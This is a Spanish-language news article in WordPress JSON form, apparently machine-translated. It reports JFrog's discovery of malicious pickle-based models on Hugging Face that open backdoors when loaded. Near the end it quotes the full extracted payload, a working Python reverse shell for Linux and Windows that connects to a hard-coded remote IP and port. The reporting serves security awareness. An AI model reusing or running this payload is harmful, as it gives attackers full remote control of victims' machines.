\n<\/aside>\n<\/p>\n
El c\u00f3digo subido a la plataforma de desarrollo de inteligencia artificial Hugging Face instal\u00f3 de forma encubierta puertas traseras y otros tipos de malware en las m\u00e1quinas de los usuarios finales, dijeron el jueves investigadores de la firma de seguridad JFrog en un informe que probablemente sea un presagio de lo que est\u00e1 por venir.<\/p>\n
En total, dijeron los investigadores de JFrog, encontraron aproximadamente 100 env\u00edos que realizaban acciones ocultas y no deseadas cuando se descargaban y cargaban en el dispositivo de un usuario final. La mayor\u00eda de los modelos de aprendizaje autom\u00e1tico marcados, todos los cuales no fueron detectados por Hugging Face, parec\u00edan ser pruebas de concepto benignas cargadas por investigadores o usuarios curiosos. Los investigadores de JFrog dijeron en un correo electr\u00f3nico que 10 de ellos eran \u00abverdaderamente maliciosos\u00bb porque realizaban acciones que en realidad compromet\u00edan la seguridad de los usuarios cuando se cargaban.<\/p>\n
Control total de los dispositivos de los usuarios.<\/h2>\n Un modelo gener\u00f3 especial preocupaci\u00f3n porque abr\u00eda un caparaz\u00f3n inverso que le daba a un dispositivo remoto en Internet control total del dispositivo del usuario final. Cuando los investigadores de JFrog cargaron el modelo en una m\u00e1quina de laboratorio, la presentaci\u00f3n de hecho carg\u00f3 un caparaz\u00f3n inverso pero no tom\u00f3 ninguna otra medida.<\/p>\n
Eso, la direcci\u00f3n IP del dispositivo remoto y la existencia de shells id\u00e9nticos conectados en otros lugares plantearon la posibilidad de que la presentaci\u00f3n tambi\u00e9n fuera obra de investigadores. Sin embargo, un exploit que abre un dispositivo a dicha manipulaci\u00f3n es una violaci\u00f3n importante de la \u00e9tica de los investigadores y demuestra que, al igual que el c\u00f3digo enviado a GitHub y otras plataformas de desarrollo, los modelos disponibles en sitios de IA pueden plantear riesgos graves si no se examinan cuidadosamente primero.<\/p>\n
\u00abLa carga \u00fatil del modelo otorga al atacante un caparaz\u00f3n en la m\u00e1quina comprometida, permiti\u00e9ndole obtener control total sobre las m\u00e1quinas de las v\u00edctimas a trav\u00e9s de lo que com\u00fanmente se conoce como ‘puerta trasera'\u00bb, escribi\u00f3 el investigador principal de JFrog, David Cohen. \u201cEsta infiltraci\u00f3n silenciosa podr\u00eda potencialmente otorgar acceso a sistemas internos cr\u00edticos y allanar el camino para filtraciones de datos a gran escala o incluso espionaje corporativo, afectando no solo a usuarios individuales sino potencialmente a organizaciones enteras en todo el mundo, dejando a las v\u00edctimas completamente inconscientes de su estado comprometido. .\u201d<\/p>\n\n Anuncio <\/span> <\/p>\n<\/aside>\n\nUna m\u00e1quina de laboratorio configurada como honeypot para observar lo que suced\u00eda cuando se cargaba el modelo.<\/p>\n
JFrog<\/p>\n<\/figcaption><\/figure>\n\nAgrandar
\/<\/span> Secretos y otros datos de cebo que utiliz\u00f3 el honeypot para atraer al actor de amenazas.<\/div>\nJFrog<\/p>\n<\/figcaption><\/figure>\n
\u00bfC\u00f3mo lo hizo Baller432?<\/h2>\n Al igual que los otros nueve modelos verdaderamente maliciosos, el que se analiza aqu\u00ed utiliza pickle, un formato que desde hace tiempo se reconoce como intr\u00ednsecamente riesgoso. Pickles se usa com\u00fanmente en Python para convertir objetos y clases en c\u00f3digo legible por humanos en un flujo de bytes para que pueda guardarse en el disco o compartirse a trav\u00e9s de una red. Este proceso, conocido como serializaci\u00f3n, presenta a los piratas inform\u00e1ticos la oportunidad de introducir c\u00f3digo malicioso en el flujo.<\/p>\n
El modelo que gener\u00f3 el shell inverso, enviado por una parte con el nombre de usuario baller432, pudo evadir el esc\u00e1ner de malware de Hugging Face utilizando el m\u00e9todo \u00ab__reduce__\u00bb de pickle para ejecutar c\u00f3digo arbitrario despu\u00e9s de cargar el archivo del modelo.<\/p>\n
Cohen de JFrog explic\u00f3 el proceso en un lenguaje mucho m\u00e1s detallado t\u00e9cnicamente:<\/p>\n
\nAl cargar modelos de PyTorch con transformadores, un enfoque com\u00fan implica utilizar la funci\u00f3n torch.load(), que deserializa el modelo desde un archivo. Particularmente cuando se trata de modelos PyTorch entrenados con la biblioteca Transformers de Hugging Face, este m\u00e9todo a menudo se emplea para cargar el modelo junto con su arquitectura, pesos y cualquier configuraci\u00f3n asociada. Transformers proporciona un marco integral para tareas de procesamiento del lenguaje natural, facilitando la creaci\u00f3n y el despliegue de modelos sofisticados. En el contexto del repositorio \u00abballer423\/goober2\u00bb, parece que la carga \u00fatil maliciosa se inyect\u00f3 en el archivo del modelo PyTorch utilizando el m\u00e9todo __reduce__ del m\u00f3dulo pickle. Este m\u00e9todo, como se demuestra en la referencia proporcionada, permite a los atacantes insertar c\u00f3digo Python arbitrario en el proceso de deserializaci\u00f3n, lo que podr\u00eda provocar un comportamiento malicioso cuando se carga el modelo.<\/p>\n
Tras el an\u00e1lisis del archivo PyTorch utilizando la herramienta voluble, extrajimos con \u00e9xito la siguiente carga \u00fatil:<\/p>\n
RHOST = \"210.117.212.93\"
\nRPORT = 4242
\n
\nfrom sys import platform
\n
\nif platform != 'win32':
\n import threading
\n import socket
\n import pty
\n import os
\n
\n def connect_and_spawn_shell():
\n s = socket.socket()
\n s.connect((RHOST, RPORT))
\n [os.dup2(s.fileno(), fd) for fd in (0, 1, 2)]
\n pty.spawn(\"\/bin\/sh\")
\n
\n threading.Thread(target=connect_and_spawn_shell).start()
\nelse:
\n import os
\n import socket
\n import subprocess
\n import threading
\n import sys
\n
\n def send_to_process(s, p):
\n while True:
\n p.stdin.write(s.recv(1024).decode())
\n p.stdin.flush()
\n
\n def receive_from_process(s, p):
\n while True:
\n s.send(p.stdout.read(1).encode())
\n
\n s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
\n
\n while True:
\n try:
\n s.connect((RHOST, RPORT))
\n break
\n except:
\n pass
\n
\n p = subprocess.Popen([\"powershell.exe\"],
\n stdout=subprocess.PIPE,
\n stderr=subprocess.STDOUT,
\n stdin=subprocess.PIPE,
\n shell=True,
\n text=True)
\n
\n threading.Thread(target=send_to_process, args=[s, p], daemon=True).start()
\n threading.Thread(target=receive_from_process, args=[s, p], daemon=True).start()
\n p.wait()<\/code><\/pre>\n<\/blockquote>\nDesde entonces, Hugging Face elimin\u00f3 el modelo y los dem\u00e1s se\u00f1alados por JFrog.<\/p>\n<\/p><\/div>\n
\nSource link-49<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"im\u00e1genes falsas El c\u00f3digo subido a la plataforma de desarrollo de inteligencia artificial Hugging Face instal\u00f3 de forma encubierta puertas traseras y otros tipos de malware en las m\u00e1quinas de…<\/p>\n","protected":false},"author":1,"featured_media":826179,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[21980],"tags":[118416,115767,8674,5333,4193,30082,50637,8,6512],"_links":{"self":[{"href":"https:\/\/magazineoffice.com\/wp-json\/wp\/v2\/posts\/1035919"}],"collection":[{"href":"https:\/\/magazineoffice.com\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/magazineoffice.com\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/magazineoffice.com\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/magazineoffice.com\/wp-json\/wp\/v2\/comments?post=1035919"}],"version-history":[{"count":1,"href":"https:\/\/magazineoffice.com\/wp-json\/wp\/v2\/posts\/1035919\/revisions"}],"predecessor-version":[{"id":1035920,"href":"https:\/\/magazineoffice.com\/wp-json\/wp\/v2\/posts\/1035919\/revisions\/1035920"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/magazineoffice.com\/wp-json\/wp\/v2\/media\/826179"}],"wp:attachment":[{"href":"https:\/\/magazineoffice.com\/wp-json\/wp\/v2\/media?parent=1035919"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/magazineoffice.com\/wp-json\/wp\/v2\/categories?post=1035919"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/magazineoffice.com\/wp-json\/wp\/v2\/tags?post=1035919"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}